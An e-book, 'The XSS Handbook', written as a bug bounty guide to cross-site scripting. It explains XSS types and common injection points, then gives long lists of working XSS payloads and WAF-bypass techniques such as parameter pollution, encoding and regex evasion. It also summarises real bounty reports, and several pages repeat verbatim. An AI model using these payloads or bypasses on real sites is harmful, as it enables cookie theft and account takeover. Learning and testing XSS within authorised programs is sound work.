VOLUME 1

E-BOOK

THE XSS HANDBOOK

YOUR GUIDE TO BECOMING AN XSS MASTER.

BY EMAN CATIC

TABLE OF CONTENTS

INTRODUCTION TO XSS ATTACKS

In the enormous realm of cybersecurity, XSS attacks stand as the most common vulnerabilities to be found on web applications, they are relatively simple but pack a big punch to website owners.

As we embark on this journey, imagine XSS vulnerabilities as your ticket to crushing a bug bounty target, this is my favorite vulnerability that I found on all of penetration tests I did for my clients, and it was surely my favorite when I was doing bug bounty hunting!

This chapter serves as your portal into the landscape of XSS attacks, laying the groundwork for a comprehensive understanding of XSS mechanics and implications.

DEFINITION OF XSS ATTACKS

Let's demystify the seemingly cryptic world of XSS attacks.

At its core, Cross-Site Scripting (XSS) is a vulnerability where hackers like yourself inject malicious scripts into web applications, causing them to execute in the browsers of unsuspecting users.

There are many types of XSS vulnerabilities which we will cover in this book too, keep reading.

SIGNIFICANCE OF XSS ATTACKS

Now that we've gotten down the basics, it's crucial to grasp the true significance of XSS attacks.

It's not just about manipulating lines of code; it's about the tangible consequences in the real world. XSS vulnerabilities jeopardize web security, making the way for serious data breaches, identity theft, and opportunities for social engineering attacks.

By comprehending the power of XSS, you will know it's crucial for every penetration test, bug bounty hunt and web security testing.

DIFFERENT TYPES OF XSS ATTACKS

In the dynamic area of web security, XSS vulnerabilities manifest in various forms, each with its unique characteristics and modes of exploitation.

Understanding these different types equips you with the knowledge to exploit them like a master, paving your way to bug bounty success.

We will now cover the different types of XSS attacks, delving deeper into the most common and important ones.

STORED XSS

Stored XSS, also known as persistent XSS, involves injecting malicious scripts into a target website, which then gets stored and later executed to other users.

This is the type of XSS that causes the most business impact and pays the most on bug bounty programs.

EXAMPLE:
A hacker injects a simple payload to pop an alert with a text message “YOU’RE HACKED LOSER!” in his profile description on a website.

Then the hacker sends his profile link to his friend, who upon clicking on the link gets greeted with a big pop-up saying “YOU’RE HACKED LOSER!”.

Now this is a type of XSS that can be elevated to much bigger impact than a silly message, as we discussed, it can be used for stealing a victim's cookies and data.

BLIND XSS

In a scenario of a blind XSS, hackers like yourself can inject payloads without immediately witnessing the results.

But here's the catch…

Blind XSS gets executed in OTHER parts of a web application, which you can point back to stored XSS.

EXAMPLE:
A hacker injects an XSS payload in a website comment section, that will send victim cookies to an external website/server.

However, when injected, the hacker doesn't immediately see it execute or run.

To confirm the blind XSS worked, the hacker needs to monitor their external website/server linked to the payload for those cookies that should be sent there.

REFLECTED XSS

Reflected XSS, as it name suggests, involves the immediate execution of the injected code, reflecting their impact onto users who access that part of the website.

You'll often see reflected XSS being flagged as informative on bug bounty platforms.

Because it carries very low amounts of business impact with itself.

REFLECTED XSS

EXAMPLE:
A hacker injects a simple XSS payload in his search bar, when the hacker presses ENTER…

The payload executes, he is rushed with adrenaline and dopamine, but…

It’s just a reflected XSS, he cannot get a victim to execute this XSS on his device.

That is why it’s flagged as informative pretty often, and your job is to try and chain it with other attacks to create a bigger impact and get PAID!

WHERE TO LOOK FOR XSS?

In the vast landscape of web applications, identifying potential XSS vulnerabilities requires a strategic approach.

You have to read this section very carefully (don’t worry you can always come back while hunting!) and try and learn by hand where to instinctively inject XSS payloads.

The instinct comes with experience, that is why this book is not just theory, you need to apply what you read, promise me?

This section is your roadmap to uncovering where XSS often hides, guiding you toward the parts of a website where XSS is most likely to surface.

MOST COMMON LOCATIONS

While XSS vulnerabilities can manifest throughout web applications, certain locations are recurrent hotspots for exploitation.

Imagine these spots as the favored hideouts for digital miscreants. In this section, we shine a spotlight on the most common locations where XSS vulnerabilities tend to emerge.

Armed with this knowledge, you'll be equipped to methodically inspect these areas for XSS vulnerabilities, guiding you even further to bug bounty success.

MOST COMMON LOCATIONS

User Input Fields in Forms:

Location:
Comment boxes, search bars, registration forms.

Example:
Imagine an e-commerce website with a product review feature.

If the website doesn't properly sanitize user input in the comment boxes, a hacker like yourself could inject a script within the comment box.

Upon viewing the product page, the victim causes an execution of the XSS payload embedded in the comment.

MOST COMMON LOCATIONS

URL Parameters

Location:
Parameters in the URL

Example:
Consider a search functionality where the search query is part of the URL, like **target.com/search?q=userInput**

If the website fails to sanitize the search query parameter, a hacker like yourself could inject an XSS payload into the search query, and when a victim runs the same search, the payload will execute promptly.

MOST COMMON LOCATIONS

Cookies and Local Storage:

Location:
Handling of cookies or local storage.

Example:
A website that stores user preferences in a cookie might be susceptible to XSS vulnerabilities.

If the same website doesn't validate user preferences properly, a hacker like yourself could manipulate their own cookie data to inject an XSS payload.

When a victim visits the site, the script executes, potentially compromising their session, cookies and data (causing an account takeover).

MOST COMMON LOCATIONS

Scripted Content

Location:
Any part of the website that displays user-generated content.

Example:
Social media platforms frequently allow users to post content with embedded scripts.

If the same platform doesn't sanitize this user-generated content effectively, a hacker like yourself could inject an XSS payload into a post (or comment section, etc.).

When a victim views the post, the payload the hacker injected will be promptly executed.

MOST COMMON LOCATIONS

Error Messages

Location:
Pages displaying error messages.

Example:
Consider a login page that echoes user input in an error message, like "Invalid username or password."

If that website fails to sanitize user input correctly, a hacker like yourself could inject an XSS payload into the username field.

And when the login fails, the error message will reflect the hacker’s input and inadvertently execute the payload that was injected.

MOST COMMON LOCATIONS

Third-Party Widgets

Location:
Embedding third-party widgets or iframes.

Example:
Imagine a website integrating a third-party comment widget.

If the widget doesn't adequately validate and sanitize user comments, a hacker like yourself could exploit it to inject an XSS payload into a comment.

When a victim visits that page, the injected payload within the comment executes, potentially compromising their security.

MOST COMMON LOCATIONS

AJAX and Dynamic Content Loading:

Location
Pages that dynamically load content using AJAX or similar technologies.

Example:
A web application that dynamically loads user profiles using AJAX could be vulnerable to an XSS attack.

If the application doesn't sanitize user profile data effectively, a hacker like yourself could inject an XSS payload into their profile.

When a victim loads the dynamically fetched data, the injected payload executes.

MOST COMMON LOCATIONS

As you maybe noticed while reading these common places where XSS vulnerabilities hide, you'll see that the BIGGEST cause of XSS vulnerabilities is input sanitization.

Developers often overlook sanitizing user input (they trust us too much!) and they inadvertently cause XSS vulnerabilities for hackers like yourself to exploit and cash-in.

HOW TO EXPLOIT XSS?

Understanding how to exploit XSS vulnerabilities and what payloads to use in what situation is a crucial part of your bug bounty and cyber-security journey to success.

In this section, we'll give you actual REAL payloads that will pave the road for exploiting your first XSS vulnerability on a bug bounty target.

By comprehending the hacker’s mindset, you'll gain insights into the techniques used for exploiting XSS vulnerabilities.

FOUNDATION PAYLOADS

These are the bread and butter of an XSS master, acting as the initial building blocks for exploiting your first XSS vulnerability on a bug bounty target.

By mastering basic payloads, you'll lay a solid groundwork for more sophisticated exploitation techniques.

FOUNDATION PAYLOADS

Basic Payloads

The following payloads create a simple pop-up displaying a message “XSS”.

These payloads are often blocked by modern WAF’s, but serve as a good foundation to practice with on CTF’s and other labs:

```
<script>alert("XSS");</script>
<script>alert(‘XSS’);</script>
<script>alert(‘XSS’)</script>
<<script>alert("XSS");//<</script>
<sCripT>alert("XSS")</scRipt>
<scr<script>ipt>alert('XSS')</script>
<sCripT>alert('XSS')</scRipt>
<img src="/" onerror="alert('XSS')"/>
<img src=x onMouseOver=alert('XSS')>
<svg/onload=eval("ale"+"rt")(`XSS${alert`XSS`}`)>
<img src='nevermind' onerror="alert('XSS');" />
<< script>alert("XSS");//<</ script>
<svg/onload=alert('XSS')>
<img src="aaa" onerror=alert('xxs')>
<body onload="alert('XSS')">
```

FOUNDATION PAYLOADS

Advanced Payloads

These payloads are more advanced, they utilize different HTML tags (img, div, etc.) and they're often not easily detected by WAF's (no guarantees!).

IMG payloads:

```
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x
onerror=alert(String.fromCharCode(88,83,83));>
<img src=x
oneonerrorrror=alert(String.fromCharCode(88,83,83)
);>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x
onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
```

FOUNDATION PAYLOADS

Advanced Payloads

These payloads are more advanced, they utilize different HTML tags (img, div, etc.) and they're often not easily detected by WAF's (no guarantees!).

IMG payloads:

```
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x
onerror=alert(String.fromCharCode(88,83,83));>
<img src=x
oneonerrorrror=alert(String.fromCharCode(88,83,83)
);>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x
onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
```

FOUNDATION PAYLOADS

SVG payloads:

```
<svg draggable="true" ondrag="alert(1)">test</svg>
<svg draggable="true"
ondragend="alert(1)">test</svg>
<svg draggable="true"
ondragenter="alert(1)">test</svg>
<svg draggable="true"
ondragleave="alert(1)">test</svg>
<svg draggable="true"
ondragstart="alert(1)">test</svg>
<svg id=x onfocus=alert(1)>
<svg id=x onfocusin=alert(1)>
<svg id=x tabindex=1 onactivate=alert(1)></svg>
<svg id=x tabindex=1 onbeforeactivate=alert(1)>
</svg>
<svg id=x tabindex=1 onbeforedeactivate=alert(1)>
</svg><input autofocus>
<svg id=x tabindex=1 ondeactivate=alert(1)></svg>
<input id=y autofocus>
```

FOUNDATION PAYLOADS

SVG payloads:

```
contenteditable>test</svg>
<svg onbeforepaste="alert(1)"
contenteditable>test</svg>
<svg onblur=alert(1) tabindex=1 id=x></svg><input
autofocus>
<svg onclick="alert(1)">test</svg>
<svg oncontextmenu="alert(1)">test</svg>
<svg oncopy="alert(1)" contenteditable>test</svg>
<svg oncut="alert(1)" contenteditable>test</svg>
<svg ondblclick="alert(1)">test</svg>
<svg onfocusout=alert(1) tabindex=1 id=x></svg>
<input autofocus>
<svg onkeydown="alert(1)"
contenteditable>test</svg>
<svg onkeypress="alert(1)"
contenteditable>test</svg>
<svg onkeyup="alert(1)" contenteditable>test</svg>
<svg onload=alert(1)>
<svg onmousedown="alert(1)">test</svg>
```

FOUNDATION PAYLOADS

SVG payloads:

```
<svg onmouseleave="alert(1)">test</svg>
<svg onmousemove="alert(1)">test</svg>
<svg onmouseout="alert(1)">test</svg>
<svg onmouseover="alert(1)">test</svg>
<svg onmouseup="alert(1)">test</svg>
<svg onpaste="alert(1)" contenteditable>test</svg>
<svg onunload=window.open('javascript:alert(1)')>
<svg><a onload=alert(1)></a>
<svg><abbr onload=alert(1)></abbr>
<svg><acronym onload=alert(1)></acronym>
<svg><address onload=alert(1)></address>
<svg><animate onbegin=alert(1) attributeName=x
dur=1s>
<svg><animate onend=alert(1) attributeName=x
dur=1s>
<svg><animate onrepeat=alert(1) attributeName=x
dur=1s repeatCount=2 />
<svg><animatetransform onbegin=alert(1)
attributeName=transform>
```

FOUNDATION PAYLOADS

DIV payloads:

```
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
<div id=x tabindex=1 onactivate=alert(1)></div>
<div id=x tabindex=1 onbeforeactivate=alert(1)>
</div>
<div id=x tabindex=1 onbeforedeactivate=alert(1)>
</div><input autofocus>
<div id=x tabindex=1 ondeactivate=alert(1)></div>
<input id=y autofocus>
<div id=x tabindex=1 onfocus=alert(1)></div>
<div id=x tabindex=1 onfocusin=alert(1)></div>
<div onbeforecopy="alert(1)"
contenteditable>test</div>
<div onbeforecut="alert(1)"
contenteditable>test</div>
<div onbeforepaste="alert(1)"
```

FOUNDATION PAYLOADS

DIV payloads:

```
contenteditable>test</div>
<div onblur=alert(1) tabindex=1 id=x></div><input
autofocus>
<div onclick="alert(1)">test</div>
<div oncontextmenu="alert(1)">test</div>
<div oncopy="alert(1)" contenteditable>test</div>
<div oncut="alert(1)" contenteditable>test</div>
<div ondblclick="alert(1)">test</div>
<div onfocusout=alert(1) tabindex=1 id=x></div>
<input autofocus>
<div onkeydown="alert(1)"
contenteditable>test</div>
<div onkeypress="alert(1)"
contenteditable>test</div>
<div onkeyup="alert(1)" contenteditable>test</div>
<div onmousedown="alert(1)">test</div>
<div onmouseenter="alert(1)">test</div>
<div onmouseleave="alert(1)">test</div>
<div onmousemove="alert(1)">test</div>
<div onmouseout="alert(1)">test</div>
<div onmouseover="alert(1)">test</div>
<div onmouseup="alert(1)">test</div>
```

FOUNDATION PAYLOADS

HTML5 tag payloads:

```
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10
onmouseover=alert(1)>2 out of 10</meter>
<body ontouchstart=alert(1)>
<body ontouchend=alert(1)>
<body ontouchmove=alert(1)>
```

FOUNDATION PAYLOADS

XSS in SVG metadata:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.d
td">

<svg version="1.1" baseProfile="full"
xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0"
fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

FOUNDATION PAYLOADS

XSS in SVG metadata:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.d
td">

<svg version="1.1" baseProfile="full"
xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0"
fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

BYPASSING WAF'S

Web Application Firewalls serve as guardians against malicious activities, making bypassing them a big challenge for some, small for others.

This section provides a comprehensive guide on techniques to bypass WAFs while exploiting XSS vulnerabilities.

We'll dissect common WAF evasion strategies, offering real-world examples and scenarios.

By mastering the art of bypassing WAFs, you'll be equipped to overcome additional layers of defense, ensuring your XSS exploits remain effective and undetected.

Multi-Reflection Payloads

It's not unheard of that a single HTTP parameter has multiple reflections in the response body.

We can make use of this situation and circumvent certain defenses by changing the written order of our payloads.

Examples of payloads using multi-reflection techniques:

```
*/</script><script>alert()/*
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
"><script>alert(1)/*
*/</script>
"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
'href=javascript:alert()>click me<a/y='
```

Multi-Reflection Payloads

It's not unheard of that a single HTTP parameter has multiple reflections in the response body.

We can make use of this situation and circumvent certain defenses by changing the written order of our payloads.

Examples of payloads using multi-reflection techniques:

```
*/</script><script>alert()/*
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
"><script>alert(1)/*
*/</script>
"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
'href=javascript:alert()>click me<a/y='
```

MULTIPLE PARAMETER TECHNIQUE

Web applications and WAFs tend to disagree about how HTTP requests should be interpreted.

This leaves room for bypasses. One such technique is called HTTP Parameter Pollution.

Certain frameworks handle multiple GET/POST parameters differently. OWASP has even compiled a list of these differences.

MULTIPLE PARAMETER TECHNIQUE

Take the following raw request:
GET /?foo=1&foo=2 HTTP/1.1
Host: target.com

A smart WAF would scan all occurrences of “foo”, rather than taking either the first or the second and ignoring the rest.

But not everyone is smart, therefore leaving us space for bypassing like this:

GET /?foo=<script>alert()</script>&foo=abc HTTP/1.1
Host: target.com

Or

GET /?foo=abc&foo=<script>alert()</script> HTTP/1.1
Host: target.com

MULTIPLE PARAMETER TECHNIQUE

If you’re lucky, the bug bounty target sometimes concatenates multiple parameters with the same name and separates them with another character, usually a comma.

GET /?foo=<script%20&foo=>alert()</script>
Host: target.com

Which would result in:

<script ,>alert()</script>

Make sure that the original payload is split up in enough pieces and you shouldn’t have any issues getting past that blockade.

URL ENCODING

This attack technique consists of encoding user request parameters twice in hexadecimal format in order to bypass security controls or cause unexpected behavior from the application.

It’s possible because the website accepts and processes client requests in many encoded forms.

URL ENCODING

You can use websites like this for encoding your payloads:
https://www.urlencoder.org/

Examples of URL encoded payloads:

%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E
%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

(just encode the payloads I've already given you!)

REGEX BYPASSESS

Different techniques can be used to bypass regex filters on WAF's.

Examples can be alternating letter cases, adding line breaks and encoding the payloads.

These are the payloads bypassing regex filters:

<sCrIpT>alert(XSS)</sCriPt>
<<script>alert(XSS)</script>
<script>alert(XSS) //
<script>alert`XSS`</script>
java%0ascript:alert(1)
<iframe src=http://malicous.com <
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE>
<img/src=1/onerror=alert(0)>
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss

REAL-WORLD BUG BOUNTY EXAMPLES

Embark on a journey through the dynamic realm of bug bounty hunting with these real-world examples.

I will show you that XSS can and WILL bring you money, if you try your best, these are the best reports that brought the most money to the hunters.

It should serve as inspiration, motivation and a wind in your back to keep you on track to bug bounty success, just like the people we'll mention.

By delving into these tangible examples, you gain practical insights into the methodologies, challenges, and solutions encountered in actual bug bounty programs.

REAL-WORLD BUG BOUNTY EXAMPLES

And the key takeaway from this section is that you can learn A LOT by reading other people's bug bounty reports & submissions.

Maybe you'll stumble upon a new payload you've never seen, or a methodology you've never used before, who knows!

It's important to read HackerOne's hacktivity, bug bounty blogs and posts everyday to learn.

(sidenote: HackerOne reports that XSS earned $4.211.006 to hunters around the world!)

PayPal Report #510152

Title: Bypass for #488147 enables stored XSS on https://paypal.com/signin again
Reported By: albinowax (James Kettle)
Severity: High (8.7)
Bounty: $20.000

Unfortunately we don't know the exact details of this submission, but James made a full writeup that you can read here:
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

REAL-WORLD BUG BOUNTY EXAMPLES

Reddit Report #1962645

Title: [accounts.reddit.com] Redirect parameter allows for XSS
Reported By: dvorakxl
Severity: High (7 ~ 8.9)
Bounty: $5,000

Summary:
Dvorakxl injected this payload: **javascript:alert(document.domain)** inside a URL parameter that when visited executed the payload.

The URL looked like this:
https://accounts.reddit.com/?dest=javascript:alert(document.domain)

After a victim logs in, the payload is executed.

Note: For more details read the report and show some love to dvorakxl !

REAL-WORLD BUG BOUNTY EXAMPLES

TikTok Report #1504202

Title: Stored XSS on TikTok Ads
Reported By: sinateganeh (Sina Yeganeh)
Severity: Medium (6.5)
Bounty: $2,500

Unfortunately we don’t know the exact details of this submission, but you can read TikTok’s summary on the vulnerability.

CONCLUSION

As we wrap up your bug bounty expedition, this section acts as a compass, guiding you through the conclusion of your learning journey and outlining the next steps on your road to bug bounty success which I'm sure you'll find soon.

Reflect on the knowledge gained, the challenges overcome, and the growth experienced throughout this handbook.

Whether you're just starting your bug bounty adventure or looking to elevate your existing skills, discover actionable steps to continue refining your expertise and contributing to the ever-evolving landscape of web security.

Keep in mind, consistency is key, you can't start and then quit.

That's not accepted.

You need to win.

And succeed.

CONCLUSION

Whether you're just starting your bug bounty adventure or looking to elevate your existing skills, discover actionable steps to continue refining your expertise and contributing to the ever-evolving landscape of web security.

Keep in mind, consistency is key, you can’t start and then quit.

That’s not accepted.

You need to win.

And succeed.

NEXT STEPS

After reading this section of the book, do the following:

1. Go on your computer

2. Pick a bug bounty platform
(I recommend HackerOne)

3. Pick a bug bounty target
(it needs to be a bigger organization, like IBM)

4. Start hacking and don't stop

The fourth step is crucial, you cannot quit.

This is your chance of succeeding.

I've given you the knowledge that will get you your first XSS bounty.

You now have to use it to your advantage, reader.

Will you do it, or lose like the others?

THE HIDDEN PAYLOADS

The rest of my XSS hunting methodology payloads:

https://drive.google.com/file/d/1lKKfLz7SFv_1NsrzKmdZ84TErtEY0l-n/view?usp=sharing